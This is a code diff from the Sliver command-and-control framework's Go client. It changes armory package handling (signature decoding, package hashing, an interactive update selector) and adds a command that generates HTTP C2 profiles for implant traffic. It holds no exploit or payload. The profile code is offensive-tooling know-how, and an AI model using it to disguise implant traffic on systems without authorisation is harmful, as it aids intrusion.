con.PrintErrorf("could not re-add armory %s: %s\n", name, err)
|
||||
return
|
||||
}
|
||||
armoryConfig = previousConfig
|
||||
con.PrintSuccessf("Re-added armory with previous values")
|
||||
}
|
||||
}
|
||||
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
|
||||
if !cmd.Flags().Changed("no-save") {
|
||||
SaveArmories(con)
|
||||
}
|
||||
// Force a refresh
|
||||
con.PrintInfof("Refreshing armory information...\n")
|
||||
refresh(clientConfig)
|
||||
con.PrintSuccessf("Done\n")
|
||||
}
|
||||
|
||||
func RefreshArmories(cmd *cobra.Command, con *console.SliverClient) {
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
// Since this being called from the refresh command, force the refresh
|
||||
clientConfig.IgnoreCache = true
|
||||
clearAllCaches()
|
||||
armoriesInitialized = false
|
||||
con.PrintInfof("Refreshing armory information...")
|
||||
refresh(clientConfig)
|
||||
con.PrintSuccessf("Refreshed armory information\n")
|
||||
}
|
||||
|
||||
func ResetArmoryConfig(cmd *cobra.Command, con *console.SliverClient) {
|
||||
armoryConfigPath := filepath.Join(assets.GetRootAppDir(), assets.ArmoryConfigFileName)
|
||||
con.PrintInfof("Removing armory configuration file %s...", armoryConfigPath)
|
||||
err := os.Remove(armoryConfigPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not delete armory configuration file %s: %s", armoryConfigPath, err)
|
||||
return
|
||||
}
|
||||
con.PrintSuccessf("Removed armory configuration file %s\n", armoryConfigPath)
|
||||
|
||||
// Force a refresh
|
||||
RefreshArmories(cmd, con)
|
||||
con.PrintSuccessf("Successfully reset armory configuration\n")
|
||||
}
|
||||
@@ -19,6 +19,8 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
@@ -67,6 +69,18 @@ type armoryPkgResponse struct {
|
||||
TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
|
||||
}
|
||||
|
||||
func calculatePackageHash(pkg *ArmoryPackage) string {
|
||||
if pkg == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
hasher := sha256.New()
|
||||
// Hash some of the things that make the package unique
|
||||
packageIdentifier := []byte(pkg.RepoURL + pkg.PublicKey + pkg.ArmoryName + pkg.CommandName)
|
||||
hasher.Write(packageIdentifier)
|
||||
return fmt.Sprintf("%x", hasher.Sum(nil))
|
||||
}
|
||||
|
||||
//
|
||||
// Default Parsers for Self-Hosted Armories
|
||||
//
|
||||
@@ -79,7 +93,10 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
return nil, err
|
||||
}
|
||||
|
||||
resp, body, _ := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, errors.New("api returned non-200 status code")
|
||||
}
|
||||
@@ -111,9 +128,45 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Populate armory name and ID information for assets
|
||||
for _, bundle := range armoryIndex.Bundles {
|
||||
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
}
|
||||
for _, alias := range armoryIndex.Aliases {
|
||||
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
if cached := packageCacheLookupByCmdAndArmory(alias.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
|
||||
// A package with this name is in the cache, so we will remove it here so that the latest version is added
|
||||
// when the index is parsed
|
||||
pkgCache.Delete(cached.ID)
|
||||
}
|
||||
alias.ID = calculatePackageHash(alias)
|
||||
}
|
||||
for _, extension := range armoryIndex.Extensions {
|
||||
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
if cached := packageCacheLookupByCmdAndArmory(extension.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
|
||||
// A package with this name is in the cache, so we will remove it here so that the latest version is added
|
||||
// when the index is parsed
|
||||
pkgCache.Delete(cached.ID)
|
||||
}
|
||||
extension.ID = calculatePackageHash(extension)
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
func decodePackageSignature(sigString string) ([]byte, error) {
|
||||
// Base64 decode the signature
|
||||
decodedData := make([]byte, base64.StdEncoding.DecodedLen(len(sigString)))
|
||||
_, err := base64.StdEncoding.Decode(decodedData, []byte(sigString))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// If decodedData does not end up being base64.StdEncoding.DecodedLen(len(data)) bytes long, trim the null bytes
|
||||
decodedData = bytes.Trim(decodedData, "\x00")
|
||||
return decodedData, nil
|
||||
}
|
||||
|
||||
// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
|
||||
func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
|
||||
var publicKey minisign.PublicKey
|
||||
@@ -122,25 +175,29 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
|
||||
resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, nil, errors.New("api returned non-200 status code")
|
||||
return nil, nil, fmt.Errorf("api returned non-200 status code (%d)", resp.StatusCode)
|
||||
}
|
||||
pkgResp := &armoryPkgResponse{}
|
||||
err = json.Unmarshal(body, pkgResp)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig([]byte(pkgResp.Minisig))
|
||||
decodedSig, err := decodePackageSignature(pkgResp.Minisig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sig, err := parsePkgMinsig(decodedSig)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
var tarGz []byte
|
||||
if !sigOnly {
|
||||
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
tarGzURL, err := url.Parse(pkgResp.TarGzURL)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
@@ -242,6 +299,20 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Populate armory name and ID information for assets
|
||||
for _, bundle := range armoryIndex.Bundles {
|
||||
bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
}
|
||||
for _, alias := range armoryIndex.Aliases {
|
||||
alias.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
alias.ID = calculatePackageHash(alias)
|
||||
}
|
||||
for _, extension := range armoryIndex.Extensions {
|
||||
extension.ArmoryName = armoryIndex.ArmoryConfig.Name
|
||||
extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
|
||||
extension.ID = calculatePackageHash(extension)
|
||||
}
|
||||
return armoryIndex, nil
|
||||
}
|
||||
|
||||
@@ -436,6 +507,12 @@ func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig
|
||||
"Accept": {"application/octet-stream"},
|
||||
}
|
||||
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp == nil {
|
||||
return nil, fmt.Errorf("invalid response when downloading %s, try again later", reqURL)
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
|
||||
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
@@ -47,7 +47,7 @@ func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
|
||||
aliases, exts := packagesInCache()
|
||||
aliases, exts := packageManifestsInCache()
|
||||
matchedAliases := []*alias.AliasManifest{}
|
||||
for _, a := range aliases {
|
||||
if nameExpr.MatchString(a.CommandName) {
|
||||
|
||||
+296
-36
@@ -19,56 +19,127 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
type VersionInformation struct {
|
||||
OldVersion string
|
||||
NewVersion string
|
||||
ArmoryName string
|
||||
}
|
||||
|
||||
type PackageType uint
|
||||
|
||||
const (
|
||||
AliasPackage PackageType = iota
|
||||
ExtensionPackage
|
||||
)
|
||||
|
||||
type UpdateIdentifier struct {
|
||||
Type PackageType
|
||||
Name string
|
||||
}
|
||||
|
||||
// ArmoryUpdateCmd - Update all installed extensions/aliases
|
||||
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var selectedUpdates []UpdateIdentifier
|
||||
var err error
|
||||
|
||||
con.PrintInfof("Refreshing package cache ... ")
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
con.Printf(console.Clearln + "\r")
|
||||
|
||||
// Aliases
|
||||
aliasUpdates := checkForAliasUpdates(clientConfig, con)
|
||||
if 0 < len(aliasUpdates) {
|
||||
con.PrintInfof("%d alias(es) out of date: %s\n", len(aliasUpdates), strings.Join(aliasUpdates, ", "))
|
||||
for _, aliasName := range aliasUpdates {
|
||||
err := installAliasPackageByName(aliasName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", aliasName, err)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All aliases up to date!\n")
|
||||
armoryName, err := cmd.Flags().GetString("armory")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Extensions
|
||||
extUpdates := checkForExtensionUpdates(clientConfig, con)
|
||||
if 0 < len(extUpdates) {
|
||||
con.PrintInfof("%d extension(s) out of date: %s\n", len(extUpdates), strings.Join(extUpdates, ", "))
|
||||
for _, extName := range extUpdates {
|
||||
err := installExtensionPackageByName(extName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", extName, err)
|
||||
}
|
||||
// Find PK for the armory name
|
||||
armoryPK := getArmoryPublicKey(armoryName)
|
||||
|
||||
// If the armory with the name is not found, print a warning
|
||||
if cmd.Flags().Changed("armory") && armoryPK == "" {
|
||||
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
|
||||
}
|
||||
|
||||
// Check packages for updates
|
||||
aliasUpdates := checkForAliasUpdates(armoryPK)
|
||||
extUpdates := checkForExtensionUpdates(armoryPK)
|
||||
|
||||
// Display a table of results
|
||||
if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
|
||||
updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
|
||||
displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
|
||||
selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
|
||||
if err != nil {
|
||||
con.PrintErrorf(err.Error() + "\n")
|
||||
return
|
||||
}
|
||||
if len(selectedUpdates) == 0 {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
con.PrintInfof("All extensions up to date!\n")
|
||||
con.PrintSuccessf("All packages are up to date")
|
||||
return
|
||||
}
|
||||
|
||||
for _, update := range selectedUpdates {
|
||||
switch update.Type {
|
||||
case AliasPackage:
|
||||
aliasVersionInfo, ok := aliasUpdates[update.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, aliasVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for alias %s: %s\n", update.Name, err)
|
||||
// Keep going because other packages might not encounter errors
|
||||
continue
|
||||
}
|
||||
err = installAliasPackage(updatedPackage, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
|
||||
}
|
||||
case ExtensionPackage:
|
||||
extVersionInfo, ok := extUpdates[update.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
|
||||
continue
|
||||
}
|
||||
err = installExtensionPackage(updatedPackage, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
|
||||
}
|
||||
default:
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string {
|
||||
cachedAliases, _ := packagesInCache()
|
||||
results := []string{}
|
||||
func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
|
||||
cachedAliases, _ := packageManifestsInCache()
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
|
||||
data, err := os.ReadFile(aliasManifestPath)
|
||||
if err != nil {
|
||||
@@ -79,19 +150,31 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClie
|
||||
continue
|
||||
}
|
||||
for _, latestAlias := range cachedAliases {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version != localManifest.Version {
|
||||
results = append(results, localManifest.CommandName)
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
we have to have some type of versioning. We do not have an official versioning scheme for packages,
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version > localManifest.Version {
|
||||
if latestAlias.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.CommandName] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestAlias.Version,
|
||||
ArmoryName: latestAlias.ArmoryName,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverClient) []string {
|
||||
_, cachedExtensions := packagesInCache()
|
||||
results := []string{}
|
||||
func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
_, cachedExtensions := packageManifestsInCache()
|
||||
// Return a map of extension name to minimum version to install
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
data, err := os.ReadFile(extManifestPath)
|
||||
if err != nil {
|
||||
@@ -102,13 +185,190 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
// Right now we don't try to enforce any kind of versioning, it is assumed if the version from
|
||||
// the armory differs at all from the local version, the extension is out of date.
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version != localManifest.Version {
|
||||
results = append(results, localManifest.Name)
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
we have to have some type of versioning. We do not have an official versioning scheme for packages,
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
|
||||
if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.Name] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestExt.Version,
|
||||
ArmoryName: latestExt.ArmoryName,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInformation) []UpdateIdentifier {
|
||||
/*
|
||||
This function helps us keep updates straight when the user chooses from them. Just in case
|
||||
an alias and an extension exist with the same name, we cannot simply combine the two maps.
|
||||
|
||||
We will assume that no two aliases and no two extensions have the same name.
|
||||
*/
|
||||
|
||||
result := []UpdateIdentifier{}
|
||||
|
||||
aliasNames := util.Keys(aliasUpdates)
|
||||
extensionNames := util.Keys(extensionUpdates)
|
||||
for _, name := range aliasNames {
|
||||
result = append(result, UpdateIdentifier{
|
||||
Type: AliasPackage,
|
||||
Name: name,
|
||||
})
|
||||
}
|
||||
for _, name := range extensionNames {
|
||||
result = append(result, UpdateIdentifier{
|
||||
Type: ExtensionPackage,
|
||||
Name: name,
|
||||
})
|
||||
}
|
||||
|
||||
sort.Slice(result, func(i, j int) bool {
|
||||
return result[i].Name < result[j].Name
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdentifier, aliasUpdates, extensionUpdates map[string]VersionInformation) {
|
||||
var (
|
||||
aliasSuffix string
|
||||
extensionSuffix string
|
||||
title string = "Available Updates (%d alias%s, %d extension%s)"
|
||||
)
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetAutoIndex(true)
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if len(aliasUpdates) != 1 {
|
||||
aliasSuffix = "es"
|
||||
}
|
||||
if len(extensionUpdates) != 1 {
|
||||
extensionSuffix = "s"
|
||||
}
|
||||
tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Package Name",
|
||||
"Package Type",
|
||||
"Installed Version",
|
||||
"Available Version",
|
||||
})
|
||||
|
||||
for _, key := range updateKeys {
|
||||
var (
|
||||
packageName string
|
||||
packageType string
|
||||
packageVersion VersionInformation
|
||||
ok bool
|
||||
)
|
||||
switch key.Type {
|
||||
case AliasPackage:
|
||||
packageVersion, ok = aliasUpdates[key.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
packageName = key.Name
|
||||
packageType = "Alias"
|
||||
case ExtensionPackage:
|
||||
packageVersion, ok = extensionUpdates[key.Name]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
packageName = key.Name
|
||||
packageType = "Extension"
|
||||
default:
|
||||
continue
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
packageName,
|
||||
packageType,
|
||||
packageVersion.OldVersion,
|
||||
fmt.Sprintf("%s (Armory: %s)", packageVersion.NewVersion, packageVersion.ArmoryName),
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n\n", tw.Render())
|
||||
}
|
||||
|
||||
func getUpdatesFromUser(con *console.SliverClient, updateKeys []UpdateIdentifier) (chosenUpdates []UpdateIdentifier, selectionError error) {
|
||||
chosenUpdates = []UpdateIdentifier{}
|
||||
|
||||
var updateResponse string
|
||||
|
||||
con.Println("You can apply all, none, or some updates.\nTo apply some updates, specify the number of a single update, a range (1-3), or a combination of the two (1, 3-5, 7)\n")
|
||||
err := survey.AskOne(&survey.Input{
|
||||
Message: "Which updates would you like to apply? [A]ll, [N]one, or some:",
|
||||
}, &updateResponse)
|
||||
if err != nil {
|
||||
// We do not need to set selectionError because an error here means the same thing as responding with "none"
|
||||
return
|
||||
}
|
||||
|
||||
updateResponse = strings.ToLower(updateResponse)
|
||||
updateResponse = strings.Replace(updateResponse, " ", "", -1)
|
||||
if updateResponse == "n" || updateResponse == "none" {
|
||||
return
|
||||
}
|
||||
|
||||
if updateResponse == "a" || updateResponse == "all" {
|
||||
chosenUpdates = updateKeys
|
||||
return
|
||||
}
|
||||
|
||||
selections := strings.Split(updateResponse, ",")
|
||||
|
||||
for _, selection := range selections {
|
||||
// Handle a range
|
||||
if strings.Contains(selection, "-") {
|
||||
rangeParts := strings.Split(selection, "-")
|
||||
start, err := strconv.Atoi(rangeParts[0])
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[0])
|
||||
return
|
||||
}
|
||||
end, err := strconv.Atoi(rangeParts[1])
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", rangeParts[1])
|
||||
return
|
||||
}
|
||||
// Adjust for the 0 indexed slice we are working with
|
||||
start -= 1
|
||||
end -= 1
|
||||
if start < 0 {
|
||||
start = 0
|
||||
}
|
||||
if start > end {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
if end >= len(updateKeys) {
|
||||
end = len(updateKeys) - 1
|
||||
}
|
||||
|
||||
for i := start; i <= end; i++ {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[i])
|
||||
}
|
||||
} else {
|
||||
// Single entry
|
||||
index, err := strconv.Atoi(selection)
|
||||
if err != nil {
|
||||
selectionError = fmt.Errorf("%s is not a valid range", selection)
|
||||
return
|
||||
}
|
||||
index -= 1
|
||||
if index >= 0 && index < len(updateKeys) {
|
||||
chosenUpdates = append(chosenUpdates, updateKeys[index])
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -21,8 +21,12 @@ package c2profiles
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
@@ -62,7 +66,6 @@ func C2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
}
|
||||
|
||||
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
protocols := []string{constants.HttpStr, constants.HttpsStr}
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
@@ -98,29 +101,6 @@ func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if confirm {
|
||||
var restartJobReq clientpb.RestartJobReq
|
||||
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// reload jobs to include new profile
|
||||
for _, job := range jobs.Active {
|
||||
if job != nil && slices.Contains(protocols, job.Name) {
|
||||
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
|
||||
}
|
||||
}
|
||||
|
||||
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
@@ -154,7 +134,13 @@ func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
return
|
||||
}
|
||||
|
||||
jsonProfile, err := C2ConfigToJSON(profileName, profile)
|
||||
config, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
jsonProfile, err := json.Marshal(config)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -169,22 +155,93 @@ func ExportC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []st
|
||||
con.Println(profileName, "C2 profile exported to ", filepath)
|
||||
}
|
||||
|
||||
func GenerateC2ProfileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
|
||||
// load template to use as starting point
|
||||
template, err := cmd.Flags().GetString("template")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
profileName, _ := cmd.Flags().GetString("name")
|
||||
if profileName == "" {
|
||||
con.PrintErrorf("Invalid c2 profile name\n")
|
||||
return
|
||||
}
|
||||
|
||||
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: template})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
config, err := C2ConfigToJSON(profileName, profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// read urls files and replace segments
|
||||
filepath, err := cmd.Flags().GetString("file")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
urlsFile, err := os.Open(filepath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
fileContent, err := io.ReadAll(urlsFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
urls := strings.Split(string(fileContent), "\n")
|
||||
|
||||
jsonProfile, err := updateC2Profile(config, urls)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// save or display config
|
||||
importC2Profile, err := cmd.Flags().GetBool("import")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if importC2Profile {
|
||||
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{C2Config: C2ConfigToProtobuf(profileName, jsonProfile)}
|
||||
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Println("C2 profile generated and saved as ", profileName)
|
||||
} else {
|
||||
PrintC2Profiles(C2ConfigToProtobuf(profileName, jsonProfile), con)
|
||||
}
|
||||
}
|
||||
|
||||
// convert protobuf to json
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte, error) {
|
||||
func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) (*assets.HTTPC2Config, error) {
|
||||
implantConfig := assets.HTTPC2ImplantConfig{
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
MaxFiles: int(profile.ImplantConfig.MaxFiles),
|
||||
MinFiles: int(profile.ImplantConfig.MinFiles),
|
||||
MaxPaths: int(profile.ImplantConfig.MaxPaths),
|
||||
MinPaths: int(profile.ImplantConfig.MinFiles),
|
||||
StagerFileExt: profile.ImplantConfig.StagerFileExtension,
|
||||
PollFileExt: profile.ImplantConfig.PollFileExtension,
|
||||
StartSessionFileExt: profile.ImplantConfig.StartSessionFileExtension,
|
||||
SessionFileExt: profile.ImplantConfig.SessionFileExtension,
|
||||
CloseFileExt: profile.ImplantConfig.CloseFileExtension,
|
||||
UserAgent: profile.ImplantConfig.UserAgent,
|
||||
ChromeBaseVersion: int(profile.ImplantConfig.ChromeBaseVersion),
|
||||
MacOSVersion: profile.ImplantConfig.MacOSVersion,
|
||||
NonceQueryArgChars: profile.ImplantConfig.NonceQueryArgChars,
|
||||
NonceQueryLength: int(profile.ImplantConfig.NonceQueryLength),
|
||||
NonceMode: profile.ImplantConfig.NonceMode,
|
||||
MaxFileGen: int(profile.ImplantConfig.MaxFileGen),
|
||||
MinFileGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathGen: int(profile.ImplantConfig.MaxPathGen),
|
||||
MinPathGen: int(profile.ImplantConfig.MinFileGen),
|
||||
MaxPathLength: int(profile.ImplantConfig.MaxPathLength),
|
||||
MinPathLength: int(profile.ImplantConfig.MinPathLength),
|
||||
Extensions: profile.ImplantConfig.Extensions,
|
||||
}
|
||||
|
||||
var headers []assets.NameValueProbability
|
||||
@@ -193,6 +250,7 @@ func C2ConfigToJSON(profileName string, profile *clientpb.HTTPC2Config) ([]byte,
|
||||
Name: header.Name,
|
||||
Value: header.Value,
|
||||
Probability: int(header.Probability),
|
||||
Method: header.Method,
